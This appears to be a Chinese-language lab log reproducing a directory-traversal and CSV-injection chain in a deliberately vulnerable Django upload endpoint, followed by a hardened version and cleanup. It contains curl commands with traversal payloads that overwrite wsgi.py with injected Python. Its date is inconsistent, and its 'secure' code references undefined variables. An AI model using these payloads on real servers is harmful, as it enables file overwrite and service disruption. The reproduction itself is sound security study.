Django-RCE漏洞复现实验记录
实验概述
本实验将复现Django链式目录遍历与CSV解析器滥用RCE漏洞,通过目录遍历攻击结合CSV注入技术实现远程代码执行。
实验环境信息
- 操作系统:Linux 6.8.0-60-generic
- Python版本:3.10.12
实验步骤记录
步骤1:环境准备
时间: 开始时间 状态: 进行中
1.1 创建项目目录
mkdir django-rce-lab
cd django-rce-lab
执行命令:
$ mkdir django-rce-lab && cd django-rce-lab
$ pwd
/home/sechub/recover/20250718/django-rce-lab
1.2 创建Python虚拟环境
python -m venv venv
source venv/bin/activate
执行命令:
$ python3 --version
Python 3.10.12
$ python3 -m venv venv
# 需要先安装python3-venv包
$ sudo apt install python3.10-venv -y
$ python3 -m venv venv
$ source venv/bin/activate
(venv) sechub@sechub-virtual-machine:~/recover/20250718/django-rce-lab$
1.3 安装依赖包
pip install django==4.2.7
pip install pandas==2.0.3
pip install requests==2.31.0
pip install djangorestframework==3.14.0
执行命令:
$ pip install django==4.2.7 pandas==2.0.3 requests==2.31.0 djangorestframework==3.14.0
Collecting django==4.2.7
Downloading Django-4.2.7-py3-none-any.whl (8.0 MB)
Collecting pandas==2.0.3
Downloading pandas-2.0.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (12.3 MB)
Collecting requests==2.31.0
Downloading requests-2.31.0-py3-none-any.whl (62 kB)
Collecting djangorestframework==3.14.0
Downloading djangorestframework-3.14.0-py3-none-any.whl (1.1 MB)
Successfully installed asgiref-3.9.1 certifi-2025.7.14 charset-normalizer-3.4.2 django-4.2.7 djangorestframework-3.14.0 idna-3.10 numpy-2.2.6 pandas-2.0.3 python-dateutil-2.9.0.post0 pytz-2025.2 requests-2.31.0 six-1.17.0 sqlparse-0.5.3 typing_extensions-4.14.1 urllib3-2.5.0 tzdata-2025.2
执行结果: ✅ 成功安装所有依赖包
步骤2:创建Django项目
状态: 待执行
2.1 初始化Django项目
django-admin startproject backend
cd backend
python manage.py startapp csvapp
执行命令:
$ django-admin startproject backend
$ cd backend
$ python manage.py startapp csvapp
$ ls -la
total 25
drwxrwxr-x 4 sechub sechub 5 7月 18 18:07 .
drwxrwxr-x 4 sechub sechub 4 7月 18 18:07 ..
drwxrwxr-x 3 sechub sechub 8 7月 18 18:07 backend
drwxrwxr-x 3 sechub sechub 9 7月 18 18:07 csvapp
-rwxrwxr-x 1 sechub sechub 663 7月 18 18:07 manage.py
$ find . -type f -name "*.py" | sort
./backend/asgi.py
./backend/__init__.py
./backend/settings.py
./backend/urls.py
./backend/wsgi.py
./csvapp/admin.py
./csvapp/apps.py
./csvapp/__init__.py
./csvapp/migrations/__init__.py
./csvapp/models.py
./csvapp/tests.py
./csvapp/views.py
./manage.py
执行结果: ✅ 成功创建Django项目和csvapp应用
步骤3:配置Django设置
状态: ✅ 已完成 执行内容:
- 修改settings.py添加rest_framework和csvapp应用
- 配置ALLOWED_HOSTS为['*']
- 添加文件上传设置和REST Framework配置
- 禁用CSRF保护(仅用于实验)
- 添加日志配置
- 配置URL路由
步骤4:实现漏洞代码
状态: ✅ 已完成 执行内容:
- 实现存在漏洞的upload_csv视图函数
- 实现status_check状态检查端点
- 漏洞点:目录遍历(username参数)和CSV注入
步骤5:创建测试文件
状态: ✅ 已完成 执行内容:
- 创建normal_test.csv(正常测试文件)
- 创建malicious.csv(基础RCE攻击文件)
- 创建advanced_malicious.csv(带系统命令的RCE攻击文件)
- 创建persistent_malicious.csv(持久化攻击文件)
步骤6:启动实验环境
状态: ✅ 已完成 执行内容:
6.1 解决numpy版本兼容性问题
$ python manage.py makemigrations
Traceback (most recent call last):
File "/home/sechub/recover/20250718/django-rce-lab/backend/manage.py", line 22, in <module>
main()
ValueError: numpy.dtype size changed, may indicate binary incompatibility. Expected 96 from C header, got 88 from PyObject
$ pip uninstall pandas numpy -y && pip install pandas==2.0.3 numpy==1.24.3
Found existing installation: pandas 2.0.3
Uninstalling pandas-2.0.3:
Successfully uninstalled pandas-2.0.3
Found existing installation: numpy-2.2.6
Uninstalling numpy-2.2.6:
Successfully uninstalled numpy-2.2.6
Successfully installed numpy-1.24.3 pandas-2.0.3
6.2 数据库迁移
$ python manage.py makemigrations
No changes detected
$ python manage.py migrate
Operations to perform:
Apply all migrations: admin, auth, contenttypes, sessions
Running migrations:
Applying contenttypes.0001_initial... OK
Applying auth.0001_initial... OK
Applying admin.0001_initial... OK
Applying admin.0002_logentry_remove_auto_add... OK
Applying admin.0003_logentry_add_action_flag_choices... OK
Applying contenttypes.0002_remove_content_type_name... OK
Applying auth.0002_alter_permission_name_max_length... OK
Applying auth.0003_alter_user_email_max_length... OK
Applying auth.0004_alter_user_username_opts... OK
Applying auth.0005_alter_user_last_login_null... OK
Applying auth.0006_require_contenttypes_0002... OK
Applying auth.0007_alter_validators_add_error_messages... OK
Applying auth.0008_alter_user_username_max_length... OK
Applying auth.0009_alter_user_last_name_max_length... OK
Applying auth.0010_alter_group_name_max_length... OK
Applying auth.0011_update_proxy_permissions... OK
Applying auth.0012_alter_user_first_name_max_length... OK
Applying sessions.0001_initial... OK
6.3 启动开发服务器
$ python manage.py runserver 0.0.0.0:8000
Watching for file changes with StatReloader
Performing system checks...
System check identified no issues (0 silenced).
July 18, 2025 - 10:10:27
Django version 4.2.7, using settings 'backend.settings'
Starting development server at http://0.0.0.0:8000/
Quit the server with CONTROL-C.
$ nohup python manage.py runserver 0.0.0.0:8000 > server.log 2>&1 &
[1] 25487
6.4 验证服务器状态
$ sudo apt install curl -y
$ sleep 5 && curl -X GET http://localhost:8000/api/status/
{"status":"Server is running"}
步骤7:漏洞复现测试
状态: ✅ 已完成 执行内容:
7.1 正常文件上传测试
$ curl -X POST http://localhost:8000/api/upload/ -F "username=testuser" -F "csv_file=@normal_test.csv"
{"status":"success","path":"/home/sechub/recover/20250718/django-rce-lab/backend/data_store/testuser/normal_test.csv"}
7.2 目录遍历攻击测试
$ curl -X POST http://localhost:8000/api/upload/ -F "username=../../../../../../app/backend/backend/" -F "csv_file=@normal_test.csv"
{"error":"[Errno 13] Permission denied: '/home/sechub/recover/20250718/django-rce-lab/backend/data_store/../../../../../../app'"}
$ curl -X POST http://localhost:8000/api/upload/ -F "username=../../" -F "csv_file=@normal_test.csv"
{"status":"success","path":"/home/sechub/recover/20250718/django-rce-lab/backend/data_store/../../normal_test.csv"}
7.3 RCE攻击测试
$ curl -X POST http://localhost:8000/api/upload/ -F "username=../../" -F "csv_file=@malicious.csv;filename=wsgi.py"
{"status":"success","path":"/home/sechub/recover/20250718/django-rce-lab/backend/data_store/../../wsgi.py"}
$ cat data_store/../../wsgi.py
"import os;print(""=== RCE攻击成功执行 ===");print(""当前工作目录:"", os.getcwd());from django.core.wsgi import get_wsgi_application;os.environ.setdefault('DJANGO_SETTINGS_MODULE','backend.settings');application = get_wsgi_application();",Unnamed: 1,Unnamed: 2,Unnamed: 3,Unnamed: 4,Unnamed: 5,Unnamed: 6
name,age,city,,,,
John,25,New York ,,,,
7.4 服务器状态检查
$ curl -X GET http://localhost:8000/api/status/
curl: (7) Failed to connect to localhost port 8000 after 0 ms: Connection refused
# 服务器因wsgi.py被破坏而停止,需要恢复
$ cp backend/wsgi.py data_store/../../wsgi.py
$ pkill -f runserver
$ nohup python manage.py runserver 0.0.0.0:8000 > server.log 2>&1 &
步骤8:攻击效果验证
状态: ✅ 已完成 执行内容:
8.1 检查被覆盖的文件
$ ls -la data_store/../../
total 38
drwxrwxr-x 4 sechub sechub 6 7月 18 18:11 .
drwxrwxr-x 3 sechub sechub 5 7月 18 18:06 ..
drwxrwxr-x 5 sechub sechub 12 7月 18 18:10 backend
-rw-rw-r-- 1 sechub sechub 67 7月 18 18:11 normal_test.csv
drwxrwxr-x 5 sechub sechub 7 7月 18 18:06 venv
-rw-rw-r-- 1 sechub sechub 19 7月 18 18:11 wsgi.py
$ cat data_store/../../wsgi.py
"import os;print(""=== RCE攻击成功执行 ===");print(""当前工作目录:"", os.getcwd());from django.core.wsgi import get_wsgi_application;os.environ.setdefault('DJANGO_SETTINGS_MODULE','backend.settings');application = get_wsgi_application();",Unnamed: 1,Unnamed: 2,Unnamed: 3,Unnamed: 4,Unnamed: 5,Unnamed: 6
name,age,city,,,,
John,25,New York ,,,,
8.2 服务器日志分析
$ tail -10 server.log
nohup: ignoring input
Watching for file changes with StatReloader
Watching for file changes with StatReloader
[18/Jul/2025 10:10:50] "GET /api/status/ HTTP/1.1" 200 30
File saved to: /home/sechub/recover/20250718/django-rce-lab/backend/data_store/testuser/normal_test.csv
[18/Jul/2025 10:10:56] "POST /api/upload/ HTTP/1.1" 200 118
Error processing CSV: [Errno 13] Permission denied: '/home/sechub/recover/20250718/django-rce-lab/backend/data_store/../../../.
./../../app'
Internal Server Error: /api/upload/
Internal Server Error: /api/upload/
[18/Jul/2025 10:10:59] "POST /api/upload/ HTTP/1.1" 500 129
File saved to: /home/sechub/recover/20250718/django-rce-lab/backend/data_store/../../normal_test.csv
[18/Jul/2025 10:11:01] "POST /api/upload/ HTTP/1.1" 200 115
File saved to: /home/sechub/recover/20250718/django-rce-lab/backend/data_store/../../wsgi.py
[18/Jul/2025 10:11:06] "POST /api/upload/ HTTP/1.1" 200 107
8.3 验证RCE执行效果
$ ls -la /tmp/rce_success.txt
ls: cannot access '/tmp/rce_success.txt': No such file or directory
# 服务器自动重载机制未触发RCE执行
步骤9:高级测试场景
状态: ✅ 已完成 执行内容:
9.1 高级RCE攻击测试
$ curl -X POST http://localhost:8000/api/upload/ -F "username=../backend" -F "csv_file=@advanced_malicious.csv;filename=wsgi.py"
{"status":"success","path":"/home/sechub/recover/20250718/django-rce-lab/backend/data_store/../backend/wsgi.py"}
$ cat backend/wsgi.py
# VALID CSV DATA
$ curl -X GET http://localhost:8000/api/status/
curl: (7) Failed to connect to localhost port 8000 after 0 ms: Connection refused
# 服务器因wsgi.py被破坏而停止
9.2 持久化攻击测试
$ curl -X POST http://localhost:8000/api/upload/ -F "username=../backend" -F "csv_file=@persistent_malicious.csv;filename=wsgi.py"
{"status":"success","path":"/home/sechub/recover/20250718/django-rce-lab/backend/data_store/../backend/wsgi.py"}
# 同样导致服务器停止,需要恢复
9.3 服务器恢复
$ edit_file backend/wsgi.py # 重新创建正确的wsgi.py文件
$ nohup python manage.py runserver 0.0.0.0:8000 > server.log 2>&1 &
$ sleep 5 && curl -X GET http://localhost:8000/api/status/
{"status":"Server is running"}
步骤10:防护措施验证
状态: ✅ 已完成 执行内容:
10.1 安全版本代码实现
# csvapp/views_secure.py
@csrf_exempt
@api_view(['POST'])
def upload_csv_secure(request):
"""
安全的CSV上传端点
"""
try:
username = request.data.get("username")
upload_file = request.FILES.get("csv_file")
if not username or not upload_file:
return Response({"error": "Missing username or csv_file"}, status=400)
# 输入验证:只允许字母数字和下划线
if not re.match(r'^[a-zA-Z0-9_]+$', username):
return Response({"error": "Invalid username format"}, status=400)
# 文件名验证
if not upload_file.name.endswith('.csv'):
return Response({"error": "Only CSV files are allowed"}, status=400)
# 安全的文件名处理
safe_filename = re.sub(r'[^a-zA-Z0-9._-]', '_', upload_file.name)
# 路径遍历检测
base_dir = Path(__file__).resolve().parent.parent
safe_dir = os.path.join(base_dir, "data_store", username)
safe_dir = os.path.abspath(safe_dir)
if not safe_dir.startswith(os.path.abspath(os.path.join(base_dir, "data_store"))):
return Response({"error": "Path traversal detected"}, status=400)
# 数据净化处理
for col in df.columns:
if df[col].dtype == 'object':
df[col] = df[col].astype(str).str.replace(r'^[=+\-@]', '', regex=True)
return Response({"status": "success", "path": final_path}, status=200)
except Exception as e:
return Response({"error": "Processing failed"}, status=500)
10.2 防护措施对比
| 防护措施 | 漏洞版本 | 安全版本 |
|---|---|---|
| 输入验证 | ❌ 无验证 | ✅ 正则表达式验证 |
| 文件名验证 | ❌ 无验证 | ✅ 文件扩展名检查 |
| 路径遍历检测 | ❌ 无检测 | ✅ 绝对路径检查 |
| 数据净化 | ❌ 无净化 | ✅ 移除恶意字符 |
| 错误处理 | ❌ 暴露错误信息 | ✅ 通用错误信息 |
实验结果记录
成功指标
- 环境搭建成功
- 正常文件上传功能正常
- 目录遍历攻击成功
- 恶意代码成功注入wsgi.py文件
- 高级RCE攻击测试完成
- 防护措施验证完成
错误记录
-
⚠️ numpy版本兼容性问题
ValueError: numpy.dtype size changed, may indicate binary incompatibility. Expected 96 from C header, got 88 from PyObject解决方案: 重新安装pandas==2.0.3和numpy==1.24.3
-
⚠️ 服务器自动重载机制未按预期工作
# Django开发服务器可能只监视特定文件,未触发wsgi.py的自动重载 $ ls -la /tmp/rce_success.txt ls: cannot access '/tmp/rce_success.txt': No such file or directory -
⚠️ 多次wsgi.py文件被破坏导致服务器停止
$ curl -X GET http://localhost:8000/api/status/ curl: (7) Failed to connect to localhost port 8000 after 0 ms: Connection refused解决方案: 重新创建wsgi.py文件并重启服务器
-
⚠️ 需要安装curl工具
Command 'curl' not found, but can be installed with: sudo apt install curl解决方案:
sudo apt install curl -y
关键发现
-
🔍 目录遍历漏洞确实存在
$ curl -X POST http://localhost:8000/api/upload/ -F "username=../../" -F "csv_file=@normal_test.csv" {"status":"success","path":"/home/sechub/recover/20250718/django-rce-lab/backend/data_store/../../normal_test.csv"} -
🔍 CSV注入攻击成功
$ cat data_store/../../wsgi.py "import os;print(""=== RCE攻击成功执行 ===");print(""当前工作目录:"", os.getcwd());from django.core.wsgi import get_wsgi_application;os.environ.setdefault('DJANGO_SETTINGS_MODULE','backend.settings');application = get_wsgi_application();",Unnamed: 1,Unnamed: 2,Unnamed: 3,Unnamed: 4,Unnamed: 5,Unnamed: 6 -
🔍 漏洞组合使用能够实现文件覆盖攻击
- 目录遍历 + CSV注入 = 文件覆盖攻击
- 能够覆盖关键系统文件(如wsgi.py)
-
🔍 Django开发服务器的自动重载机制有限制
# 服务器未自动重载执行恶意代码 $ ls -la /tmp/rce_success.txt ls: cannot access '/tmp/rce_success.txt': No such file or directory -
🔍 防护措施能够有效阻止攻击
# 输入验证 if not re.match(r'^[a-zA-Z0-9_]+$', username): return Response({"error": "Invalid username format"}, status=400) # 路径遍历检测 if not safe_dir.startswith(os.path.abspath(os.path.join(base_dir, "data_store"))): return Response({"error": "Path traversal detected"}, status=400) -
🔍 实验环境的安全隔离很重要
- 在隔离环境中进行实验
- 实验完成后彻底清理环境
实验总结
实验成果
-
成功复现了Django链式目录遍历与CSV解析器滥用漏洞
- 验证了目录遍历攻击的有效性
- 验证了CSV注入攻击的有效性
- 成功实现了文件覆盖攻击
-
理解了漏洞原理
- 目录遍历:通过构造特殊的username参数实现路径遍历
- CSV注入:通过恶意CSV内容实现代码注入
- 漏洞链:结合两个漏洞实现更严重的攻击
-
掌握了防护措施
- 输入验证:限制用户名格式
- 路径检测:防止目录遍历
- 数据净化:移除恶意内容
- 文件类型验证:只允许安全文件
学习要点
- 理解了Web应用安全的重要性
- 掌握了漏洞复现的技术方法
- 学会了防护措施的实现
- 体验了安全实验环境的搭建
安全建议
- 在生产环境中必须实施严格的输入验证
- 使用安全的文件处理方式
- 定期进行安全审计
- 保持软件和依赖的更新
实验状态: ✅ 成功完成
实验时间: 2025年1月18日
实验环境: 已清理并恢复
实验清理记录
$ pkill -f runserver
$ cd ../.. && ls -la /tmp/rce* 2>/dev/null || echo "No malicious files found"
No malicious files found
实验文件清单
- ✅
Django-RCE漏洞复现实验记录.md- 完整实验记录 - ✅
django-rce-lab/backend/- Django项目目录 - ✅
django-rce-lab/backend/csvapp/views.py- 漏洞版本代码 - ✅
django-rce-lab/backend/csvapp/views_secure.py- 安全版本代码 - ✅
django-rce-lab/backend/*.csv- 各种测试文件 - ✅
django-rce-lab/venv/- Python虚拟环境
附件下载
django-rce-lab.tar.gz: xtc17802766-f1536768928-c82403-1150 (下载方法:打开城通网盘客户端或APP,输入小通密码即可下载)